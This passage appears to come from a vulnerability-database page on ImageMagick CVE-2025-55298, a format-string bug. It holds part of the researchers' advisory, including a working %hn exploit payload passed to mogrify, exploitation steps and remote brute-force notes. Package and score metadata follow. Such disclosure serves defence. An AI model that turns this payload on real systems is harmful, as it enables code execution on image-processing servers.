 ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa
```
The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges.
<br>

**Exploitation Process:**
1. Format string payload corrupts stack pointers through positional parameters
2. Multiple 2-byte writes (%hn) progressively overwrite the return address  
3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85)
4. One-gadget executes `/bin/sh` with inherited process permissions
<br>

**Remote Exploitation Feasibility:**
While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access.
<br>

**Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

**Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system.
<br>

## Impact
This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks.
<br>

## Suggested Fix

Two potential mitigation approaches:

1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString`
2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString`
<br>

## Credits
### Team Daemon Fuzz Hunters
**Bug Hunting Master Program, HSpace/Findthegap**
<br>

**Woojin Park**
@jin-156
[1203kids@gmail.com](mailto:1203kids@gmail.com)

**Hojun Lee**
@leehohojune 
[leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr)

**Youngin Won**
@amethyst0225
[youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr)

**Siyeon Han**
@hanbunny
[kokosyeon@gmail.com](mailto:kokosyeon@gmail.com)

# Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

- In wrappers: `filename:literal`
- From the command line: `-define filename:literal=true`
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55298.json
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55298.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-55298
reference_id
reference_type
scores
0
value 0.00754
scoring_system epss
scoring_elements 0.73325
published_at 2026-04-26T12:55:00Z
1
value 0.00754
scoring_system epss
scoring_elements 0.73311
published_at 2026-04-24T12:55:00Z
2
value 0.00754
scoring_system epss
scoring_elements 0.73277
published_at 2026-04-21T12:55:00Z
3
value 0.00754
scoring_system epss
scoring_elements 0.73285
published_at 2026-04-18T12:55:00Z
4
value 0.00754
scoring_system epss
scoring_elements 0.73275
published_at 2026-04-16T12:55:00Z
5
value 0.00754
scoring_system epss
scoring_elements 0.73233
published_at 2026-04-13T12:55:00Z
6
value 0.00754
scoring_system epss
scoring_elements 0.7324
published_at 2026-04-12T12:55:00Z
7
value 0.00754
scoring_system epss
scoring_elements 0.73185
published_at 2026-04-07T12:55:00Z
8
value 0.00754
scoring_system epss
scoring_elements 0.73211
published_at 2026-04-04T12:55:00Z
9
value 0.00754
scoring_system epss
scoring_elements 0.73221
published_at 2026-04-08T12:55:00Z
10
value 0.00754
scoring_system epss
scoring_elements 0.73259
published_at 2026-04-11T12:55:00Z
11
value 0.00754
scoring_system epss
scoring_elements 0.7319
published_at 2026-04-02T12:55:00Z
12
value 0.00754
scoring_system epss
scoring_elements 0.73234
published_at 2026-04-09T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-55298
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55298
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55298
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 8.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/
url https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
5
reference_url https://github.com/ImageMagick/ImageMagick
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/ImageMagick/ImageMagick
6
reference_url https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/
url https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5
7
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2025-08-26T20:36:37Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645
8
reference_url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
9
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-55298
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-55298
10
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111586
reference_id 1111586
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111586
11
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2391097
reference_id 2391097
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2391097
12
reference_url https://github.com/advisories/GHSA-9ccg-6pjw-x645
reference_id GHSA-9ccg-6pjw-x645
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9ccg-6pjw-x645
13
reference_url https://usn.ubuntu.com/7812-1/
reference_id USN-7812-1
reference_type
scores
url https://usn.ubuntu.com/7812-1/
fixed_packages
0
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u6%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u4%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.3%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
9
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-55298, GHSA-9ccg-6pjw-x645
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-r889-wzc7-1yem
4
url VCID-tw4r-9r9b-4qez
vulnerability_id VCID-tw4r-9r9b-4qez
summary imagemagick: ImageMagick: heap-buffer overflow
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55005.json
reference_id
reference_type
scores
0
value 3.3
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55005.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-55005
reference_id
reference_type
scores
0
value 0.00026
scoring_system epss
scoring_elements 0.07055
published_at 2026-04-02T12:55:00Z
1
value 0.00026
scoring_system epss
scoring_elements 0.07307
published_at 2026-04-26T12:55:00Z
2
value 0.00026
scoring_system epss
scoring_elements 0.07149
published_at 2026-04-13T12:55:00Z
3
value 0.00026
scoring_system epss
scoring_elements 0.07085
published_at 2026-04-16T12:55:00Z
4
value 0.00026
scoring_system epss
scoring_elements 0.07218
published_at 2026-04-18T12:55:00Z
5
value 0.00026
scoring_system epss
scoring_elements 0.07344
published_at 2026-04-21T12:55:00Z
6
value 0.00026
scoring_system epss
scoring_elements 0.07301
published_at 2026-04-24T12:55:00Z
7
value 0.00026
scoring_system epss
scoring_elements 0.07111
published_at 2026-04-04T12:55:00Z
8
value 0.00026
scoring_system epss
scoring_elements 0.07086
published_at 2026-04-07T12:55:00Z
9
value 0.00026
scoring_system epss
scoring_elements 0.07139
published_at 2026-04-08T12:55:00Z
10
value 0.00026
scoring_system epss
scoring_elements 0.07171
published_at 2026-04-09T12:55:00Z
11
value 0.00026
scoring_system epss
scoring_elements 0.07168
published_at 2026-04-11T12:55:00Z
12
value 0.00026
scoring_system epss
scoring_elements 0.07157
published_at 2026-04-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-55005
2
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
3
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111102
reference_id 1111102
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111102
4
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2388245
reference_id 2388245
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2388245
5
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v393-38qx-v8fp
reference_id GHSA-v393-38qx-v8fp
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:34:20Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v393-38qx-v8fp
fixed_packages
0
url pkg:deb/debian/imagemagick@0?distro=trixie
purl pkg:deb/debian/imagemagick@0?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@0%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
